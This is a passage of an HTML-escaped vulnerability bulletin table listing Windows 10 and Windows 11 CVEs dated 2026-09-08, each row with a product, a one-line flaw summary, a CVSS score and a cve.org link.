&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70578&quot; target=&quot;_blank&quot;&gt;CVE-2026-70578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Mobile Broadband allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70579&quot; target=&quot;_blank&quot;&gt;CVE-2026-70579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows Storage Management Provider allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71337&quot; target=&quot;_blank&quot;&gt;CVE-2026-71337&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72953&quot; target=&quot;_blank&quot;&gt;CVE-2026-72953&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Double free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69322&quot; target=&quot;_blank&quot;&gt;CVE-2026-69322&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69740&quot; target=&quot;_blank&quot;&gt;CVE-2026-69740&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows SMB Client allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72936&quot; target=&quot;_blank&quot;&gt;CVE-2026-72936&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Schannel allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72940&quot; target=&quot;_blank&quot;&gt;CVE-2026-72940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in Windows Hyper-V allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80083&quot; target=&quot;_blank&quot;&gt;CVE-2026-80083&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68825&quot; target=&quot;_blank&quot;&gt;CVE-2026-68825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Absolute path traversal in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68896&quot; target=&quot;_blank&quot;&gt;CVE-2026-68896&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Push Notifications allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69300&quot; target=&quot;_blank&quot;&gt;CVE-2026-69300&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Improper link resolution before file access (&#039;link following&#039;) in Windows NTFS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69379&quot; target=&quot;_blank&quot;&gt;CVE-2026-69379&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;External control of file name or path in Windows Shell allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69383&quot; target=&quot;_blank&quot;&gt;CVE-2026-69383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Shell allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69392&quot; target=&quot;_blank&quot;&gt;CVE-2026-69392&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Audio Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69447&quot; target=&quot;_blank&quot;&gt;CVE-2026-69447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Missing authentication for critical function in Windows Shell allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69528&quot; target=&quot;_blank&quot;&gt;CVE-2026-69528&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Remote Desktop Services allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69536&quot; target=&quot;_blank&quot;&gt;CVE-2026-69536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Null pointer dereference in Windows IKE Extension allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69587&quot; target=&quot;_blank&quot;&gt;CVE-2026-69587&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Missing release of memory after effective lifetime in Windows TCP/IP allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69588&quot; target=&quot;_blank&quot;&gt;CVE-2026-69588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows HTTP.sys allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69597&quot; target=&quot;_blank&quot;&gt;CVE-2026-69597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Remote Desktop Services allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69599&quot; target=&quot;_blank&quot;&gt;CVE-2026-69599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Shell allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69606&quot; target=&quot;_blank&quot;&gt;CVE-2026-69606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69775&quot; target=&quot;_blank&quot;&gt;CVE-2026-69775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Missing release of memory after effective lifetime in Active Directory Domain Services allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69809&quot; target=&quot;_blank&quot;&gt;CVE-2026-69809&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Credential Providers allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69814&quot; target=&quot;_blank&quot;&gt;CVE-2026-69814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70569&quot; target=&quot;_blank&quot;&gt;CVE-2026-70569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Improper validation of integrity check value in Windows Installer allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72929&quot; target=&quot;_blank&quot;&gt;CVE-2026-72929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Null pointer dereference in Windows SMB Server Network Transport Driver (srvnet.sys) allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72949&quot; target=&quot;_blank&quot;&gt;CVE-2026-72949&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Improper link resolution before file access (&#039;link following&#039;) in Windows Update Stack allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81963&quot; target=&quot;_blank&quot;&gt;CVE-2026-81963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83498&quot; target=&quot;_blank&quot;&gt;CVE-2026-83498&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 23H2&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83990&quot; target=&quot;_blank&quot;&gt;CVE-2026-83990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62744&quot; target=&quot;_blank&quot;&gt;CVE-2026-62744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Credential Providers allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69729&quot; target=&quot;_blank&quot;&gt;CVE-2026-69729&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows DHCP Client allows an authorized attacker to elevate privileges over an adjacent network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69777&quot; target=&quot;_blank&quot;&gt;CVE-2026-69777&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Double free in Windows Credential Guard allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72958&quot; target=&quot;_blank&quot;&gt;CVE-2026-72958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Print Spooler Components allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85877&quot; target=&quot;_blank&quot;&gt;CVE-2026-85877&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Trace Data Helper allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56198&quot; target=&quot;_blank&quot;&gt;CVE-2026-56198&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Account allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68850&quot; target=&quot;_blank&quot;&gt;CVE-2026-68850&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69333&quot; target=&quot;_blank&quot;&gt;CVE-2026-69333&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69348&quot; target=&quot;_blank&quot;&gt;CVE-2026-69348&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Use after free in Audio Video Control Transport Protocol allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69401&quot; target=&quot;_blank&quot;&gt;CVE-2026-69401&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69422&quot; target=&quot;_blank&quot;&gt;CVE-2026-69422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Time-of-check time-of-use (toctou) race condition in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69440&quot; target=&quot;_blank&quot;&gt;CVE-2026-69440&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69508&quot; target=&quot;_blank&quot;&gt;CVE-2026-69508&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69542&quot; target=&quot;_blank&quot;&gt;CVE-2026-69542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69594&quot; target=&quot;_blank&quot;&gt;CVE-2026-69594&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69720&quot; target=&quot;_blank&quot;&gt;CVE-2026-69720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Null pointer dereference in Windows Kerberos allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69744&quot; target=&quot;_blank&quot;&gt;CVE-2026-69744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69818&quot; target=&quot;_blank&quot;&gt;CVE-2026-69818&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69896&quot; target=&quot;_blank&quot;&gt;CVE-2026-69896&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Double free in Windows Display Enhancement Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70567&quot; target=&quot;_blank&quot;&gt;CVE-2026-70567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Storage Port Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72946&quot; target=&quot;_blank&quot;&gt;CVE-2026-72946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 Version 24H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Security Center allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
